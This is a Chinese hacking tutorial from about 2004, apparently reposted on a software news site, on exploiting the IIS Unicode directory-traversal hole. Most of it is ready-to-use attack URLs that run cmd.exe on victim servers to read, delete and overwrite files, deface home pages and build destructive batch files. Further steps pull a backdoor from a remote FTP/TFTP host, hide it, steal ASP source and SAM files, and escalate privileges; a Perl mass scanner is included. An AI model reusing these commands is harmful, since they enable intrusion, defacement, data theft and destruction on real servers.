您的位置:首页资讯网络应用 → UNICODE漏洞的原理

UNICODE漏洞的原理

时间:2004/10/8 16:33:00来源:本站整理作者:蓝点我要评论(0)

    一、UNICODE漏洞的原理 
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1, 
台湾繁体中文也同样存在这样的漏洞。 
中文版的WIN2000中,UNICODE编码 存在BUG,在UNICODE 编码中 
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/‘ 
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘\‘ 
在NT4中/编码为%c1%9c 
在英文版里: 
WIN2000英文版%c0%af 
但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测,具体情况本人未做详细的证实: 
%c1%pc 
%c0%9v 
%c0%qf 
%c1%8s 
%e0%80%af 
%f0%80%80%af 
%fc%80%80%80%80%af 
或许是什么日文版、韩文版之类,win2000 Terminal版有兴趣的朋友可以试试。 
二、UNICODE漏洞的检测 
以下均以中文版WIN2K为例,如果是其他NT版本,按上面所述的编码替换以下代码中的%c1%1c 
最简单的检测方法: 
比如说有一IP地址为X.X.X.X的WIN2K主机,我们可以在地址栏输入 
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设SCRIPTS目录里无文件) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 

这是我们在很多经验交谈中常看到大家使用的方法,实际上我们也可以改为这样 
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir 
即r=c 这个字母的取代,在本文发表之前,网络里没有介绍过,关于r这字母可以等效于c,我们可以通过cmd/?可以得到解释。 

当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。 

http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
运行后,我们可以看到 
Directory of c:\program files\common files\system\msadc 
2000-08-06 19:16 

2000-08-06 19:16 
.. 
(以下内容略) 
19 File(s) 1,233,840 bytes 
2 Dir(s) 6,290,644,992 bytes free 

如果漏洞和目录同时存在的话,你就可以在WEB页上看到相对应的目录里的一切内容。这仅是对单一目标主机的漏洞检测,如果想对某一IP段上的NT主机做UNICODE漏洞的检测,我们就需要使用类似以下的扫描软件。 
以下的源码是外国黑客写的,当然就只扫描英文版的NT,要扫描中文版的,需要做相应的修改。 
#!/usr/bin/perl 
#Root Shell Hackers 
#piffy 
#this is a quick scanner i threw together while 
supposedly doing homework in my room. 
#it will go through a list of sites and check if it 
gives a directory listing for the new IIS hole 
#it checks for both %c0%af and %c1%9c 
#perhaps a public script to do some evil stuff with this 
exploit later... h0h0h0 
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy 
for researching the hole =] 
use strict; 
use LWP::UserAgent; 
use HTTP::Request; 
use HTTP::Response; 
my $def = new LWP::UserAgent; 
my @host; 
print "root shell hackers\n"; 
print "iis cmd hole scanner\n"; 
print "coded by piffy\n"; 
print "\nWhat file contains the hosts: "; 
chop (my $hosts=); 
open(IN, $hosts) ││ die "\nCould not open $hosts: $!"; 
while () 

$host[$a] = $_; 
chomp $host[$a]; 
$a++; 
$b++; 

close(IN); 
$a = 0; 
print "ph34r, scan started"; 
while ($a < $b) 

my 
$url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 
"; 
my $request = new HTTP::Request(‘GET‘, $url); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

&second() 


sub second() { 
my 
$url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ 
"; 
my $request = new HTTP::Request(‘GET‘, $url2); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

$a++; 



—————————————————————————————————— 
以上的pl程序你可以在本机运行(当然需要安装PERL),也可以在远程的 
服务器上运行。 

三、UNICODE编码漏洞简单利用的命令 
一般情况下我们用 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 

看到的目录是空的:(例如) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 
如果我们这样输入的话: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 

就可以看到该主机c:盘的目录和文件了。 
其他的一些简单的用法: 
1、显示文件内容 
如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的) 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt 

那么该文件的内容就可以通过IE显示出来。 
2、建立文件夹的命令 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy 

运行后我们可以看到返回这样的结果: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
英文意思是 
CGI错误 
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为: 
3、删除空的文件夹命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy 

返回信息同上 
4、删除文件的命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt 

返回信息同上 
5、copy文件且改名的命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt 
bad.txt 
返回信息: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
1 file(s) copied. 
6、显示目标主机当前的环境变量 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set 

返回的信息: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
ALLUSERSPROFILE=E:\Documents and Settings\All Users 
AUTH_TYPE=Negotiate 
AUTH_USER=BADBOYCL-DQQZQQ\badboy 
CASL_BASEDIR_ENV=E:\scan\CyberCop Scanner\casl 
CommonProgramFiles=E:\Program Files\Common Files 
COMPUTERNAME=BADBOYCL-DQQZQQ 
ComSpec=E:\WINNT\system32\cmd.exe 
CONTENT_LENGTH=0 
GATEWAY_INTERFACE=CGI/1.1 
HTTP_ACCEPT=*/* 
HTTP_ACCEPT_LANGUAGE=zh-cn 
HTTP_CONNECTION=Keep-Alive 
HTTP_HOST=127.0.0.1 
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.01; 
Windows NT 5.0) 
HTTP_AUTHORIZATION=Negotiate 
TlRMTVNTUAADAAAAGAAYAIgAAAAYABgAoAAAAB4AHgBAAAAADAAMAF4AAAAeAB4AagAAAAAAAAC4AAAABYKAgEIAQQBEAE 
IATwBZAEMATAAtAEQAUQBRAFoAUQBRAGIAYQBkAGIAbwB5AEIAQQBEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBRAODLOAUs 
BqOAQ3/+AfwqHKj8Q2vzSAGGgkD6hCEY0EoOIKZVHMr4lmc1Ju37n7SleT== 

HTTP_ACCEPT_ENCODING=gzip, deflate 
HTTPS=off 
INSTANCE_I 
7、把某个文件夹内的全部文件一次性COPY到另外的文件夹去 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+xcopy 
c:\badboy c:\inetpub\wwwroot 
返回的信息: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
我们查看c:\inetpub\wwwroot文件夹,结果所有c:\badboy内的都拷贝到该目录里了 
8、把某个文件夹剪贴到指定的目录去 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+move 
c:\badboy c:\inetpub\wwwroot 
呵呵,还是可以做到的,时间的长短要看文件的多少了 
9、显示某一路径下相同文件类型的文件内容 

http://127.0.0.1/scripts/..%c1%1c..\winnt/system32/find.exe?/n+/v+""+c:\inetpub\wwwroot\*.ht* 

完全显示出来呀 
同样,还有很多命令可以执行,大家可以试试,不过有些时间会很久,有些是不能执行的。 
解释+号,在这里+等于空格键,当然你也可以用空格键,用空格键运行后会转换为%20 和%c1%1c=/是同一道理的。 
对于名字超过8个字母的文件夹,如果我们想看里面的内容时就有点不同了比如说我们想看目标主机Program Files文件夹里面的内容时,应该这样输入 
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\progra~1 
这里就不能用+或者%20来代替program与files间的空格。 
至于对aa bb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道可以写出来。 

在攻略2里我提到 
至于对aa bb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道可以写出来。 
通过对dos的8.3规则的补习,终于弄明白怎么看aa bb文件夹了方法就是以下 
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~1aa bb=aabb~1 
如果同目录下还有aab b文件夹,就用这样的代码看aab b文件夹里的内容 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~2依此类推。 

四、如何简单地修改目标主机的web页面 
一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具> >>。 
先复习一下这些命令和管道工具的功能。 
D:\>echo/? 
显示信息,或将命令响应打开或关上。 
ECHO [ON │ OFF] 
ECHO [message] 
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。 

管道工具> >>的功能 
"> >>" 是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中.>>产生的内容将追加进文件中,>则将原文件内容覆盖。 

再看看cmd/?里面的部分内容: 
请注意,如果字符串有引号,可以接受用命令分隔符 ‘&&‘ 隔开的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与/E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。 
如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处理;在这种情况下,会使用下列逻辑处理引号字符("): 
1. 如果符合下列所有条件,那么在命令行上的引号字符将被 
保留: 
- 不带 /S 命令选项 
- 整整两个引号字符 
- 在两个引号字符之间没有特殊字符,特殊字符为下列中的 
一个: <>()@^│ 
- 在两个引号字符之间有至少一个空白字符 
- 在两个引号字符之间有至少一个可执行文件的名称。 
2. 否则,老办法是,看第一个字符是否是一个引号字符,如果是,舍去开头的字符并删除命令行上 的最后一个引号字符,保留最后一个引号字符之后的文字。 

从以上可以得到什么启示? 
我们知道IIS加载程序检测到有CMD.EXE或者COMMAND.COM串就要检测特殊字符“&│(,;%<>”,如果发现有这些字符就会返回500错误,所以不能直接使用CMD.EEX加管道符等。 
通过 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+>; 
c:\badboy.txt 
我们可以看到提示 
HTTP 500 - 内部服务器错误 
Internet Explorer 
经过反复测试,并从上面cmd内容的提示,我们可以会发现"引号字符是可以利用的,中联绿盟的yuange(袁哥)发布过关于这字符的公告,我想也许也是从上面的cmd/?信息中得到提示的,(纯属个人猜想,如果不是,请yuange不要见怪)。 

我们要得到echo与>的结合使用,可以这样操作。 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+> 
c:\badboy.txt 
注意,与开始的命令的区别只在于cmd后面多了个"字符。 
运行后我们可以看到返回这样的结果: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
英文意思是 
CGI错误 
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为: 

实际上,我们已经把badboy写入到c:\badboy.txt文件里了。 

利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始,尤其是能写.bat文件如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何?? 

回到修改网站页面的问题来。 
比如说想修改c:\inetpub\wwwroot\default.asp 
我们就可以这样在地址栏输入: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+bug+> 
c:\inetpub\wwwroot\default.asp 
那么再看他的首页时,已经被修改为 
your site has unicode bug 

事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的HACK行为。 
当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说c.exe 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe 
以后使用就可以直接 
http://x.x.x.x/scripts/c.exe?/c+echo+badboy+>; 
c:\badboy.txt 
、bat命令法 
很多文章都没有介绍如何在unicode编码漏洞中如何利用BAT命令,实际上运用批处理,可以执行很多在地址栏里无法执行的命令,并且可以简化你输入的过程。 
例子: 
baddel.bat 
del /f /s /q c:\files\*.* 
rd c:\files 
我们可以这样建立和执行 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+del%20/f%20/s%20/q%20c:\files\*.*>baddel.bat 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+rd%20c:\files>>baddel.bat 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+baddel 
结果C盘里的files目录和文件都被删除了。 
如果我们把批处理改为format d:/q之类的话,那么D盘就被格式化了。 
同样,你可以运用批处理进行更多的攻击,那你就需要好好复习DOS的命令及应用了。 
注意:上面第三行的代码就是执行baddel.bat,这里.bat不要输入 

2、attrib的运用 
用这命令查文件属性和修改文件的属性 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm 
运行后,我们可以看到index.htm的文件属性,往往有时我们无法修改这文件,是因为这文件设为只读。 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:\inetpub\wwwroot\index.htm 
运行后,我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序隐藏起来,并且管理没有设置所有文件可见,那么是不是很方便上传的东西不被管理员发现呢? 
注意这里%2b等于+ 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20-r%20-h%20d:\inetpub\wwwroot\index.htm 
运行后解除文件的属性。 

3、ftp的运用 
有时我们需要从一个你有权限的FTP主机把你想用到的一些文件上传到目标主机去,象ncx99.exe之类的,当然你要把这些文件放在你的空间先。 
……/cmd.exe?/c+echo+open+*.*.*.*>badboy.txt 
……/cmd.exe?/c+echo+user>>badboy.txt 
……/cmd.exe?/c+echo+pass>>badboy.txt 
……/cmd.exe?/c+echo+get+ncx99.exe>>badboy.txt 
……/cmd.exe?/c+echo+bye>>badboy.txt 
然后运行 
……/cmd".exe?/c+ftp+-s:badboy.txt 
……/cmd.exe?/c+del badboy.txt 
完成以上内容后ncx99.exe已经在inetpub/scripts目录里了 
剩下的就看你怎么用软件了 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\ncx99.exe 
还等什么快telnet x.x.x.x 99 
你还有什么垃圾软件,尽管放上去吧。 

六、unicode编码漏洞提高篇(续) 
4、TFTP运用 
关于TFTP的运用我们在全攻略-5里面的工具介绍中介绍过,那工具可以在WIN9X或者NT、WIN2K下执行,前提条件是需要你在本机上安装PERL服务器程序,这对于一般的爱好者来说稍微有点困难。实际上如果你是使用NT系统或者你拥有一台NT肉机的话,就可以使用WINNT\SYSTEM32下的TFTP.EXE这个软件了。 
tftp/? 
Transfers files to and from a remote computer running 
the TFTP service. 
TFTP [-i] host [GET │ PUT] source [destination] 
-i Specifies binary image transfer mode (also called 
octet). In binary image mode the file is moved 
literally, byte by byte. Use this mode when 
transferring binary files. 
host Specifies the local or remote host. 
GET Transfers the file destination on the remote host to 
the file source on the local host. 
PUT Transfers the file source on the local host to 
the file destination on the remote host. 
source Specifies the file to transfer. 
destination Specifies where to transfer the file. 
帮助是英文的,自己翻译吧。 
在UNICODE上的命令代码: 

http://x.x.x.x/scripts/tftp.exe?-i+127.0.0.1+get+ncx99.exe 
你放什么软件都可以,我不喜欢木马,所以我也不再介绍你该传什么木马上去,然后怎么启动,那样走题太远了。 

5、ASP相关问题 
一般情况下,NT机器绝大多数都会使用到ASP写的WEB程序和SQL数据库。 
大家都知道ASP代码的泄露意味着你辛辛苦苦写的ASP源码被人无偿获得,同时你的站点也很容易遭到黑手。ASP代码泄露的漏洞很多种,同样,在UNICODE编码漏洞下,你的ASP源码同样可以极易被人获取。 
假设你的index.asp是一个很好的程序,那么,入侵者可以通过type命令查看你的文件。 
../cmd.exe?/type c:\inetpub\wwwroot\index.asp 
或者通过copy命令 
../cmd.exe?/copy c:\inetpub\wwwroot\index.asp 
c:\inetpub\wwwroot\index.txt 
然后直接下载你的源码,通过分析,找到你的数据库文件。 
如果你是使用SQL服务来做数据库的,同样,入侵者可以通过查看你的ASP和global.asa源码,通过分析,找到你的用户名和密码,然后通过SQL远程管理客户端进行攻击。那么,你的商业秘密和网站的资料,还有什么安全可言呢? 

入侵者还可以在你的主机里上传一个ASP后门程序(ASE,应该听说过和用过吧)并隐藏起来,即使你以后补掉了UNICODE漏洞,入侵仍可在他的ASP后门程序在你未发现之前,查看、修改、删除你主机上的WEB文件。 

6、获得超级用户权限 
可以通过下在你的SAM文件,利用一些黑客软件(如l0phtcrack)暴力破解。 
也可以利用前面介绍的上传方法把gasys.dll、cmd.exe和getadmin.exe到目标主机,然后通过一些软件或者方法获得目标主机的计算机名,再利用getadmin.exe把iuser_计算机 升级为Administrator/scripts/getadmin.exe?IUSR_计算机名那还有什么事不可以做呢?已经等于完全控制这台主机了。

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360免费wifi电脑版怎么有道云笔记怎么保存网有道云笔记内容丢失怎360免费wifi一直显示正

最新文章 微博热搜宝盒是什么 微最新微信编辑器哪个好 百度网盘安全吗?百度网盘信息泄露怎么回事乐视云盘关闭怎么办 乐视云盘关闭怎么转移文百度云盘下载速度慢解决方法2017 百度云盘下百度网盘怎么用迅雷下载2017 百度网盘怎么用

人气排行 无线网络密码破解WPA/WPA2教程(包教包会)微信编辑器哪个好 3种实用微信编辑器推荐foxmail邮件存储位置在哪 foxmail7.2邮件存p2p种子搜索器用不了解决办法360免费wifi没有无线网卡怎么办百度云网盘中怎么添加好友 百度云网盘添加微信电脑版聊天记录保存在哪 微信电脑版文件360云盘上传速度慢怎么办 360云盘上传速度慢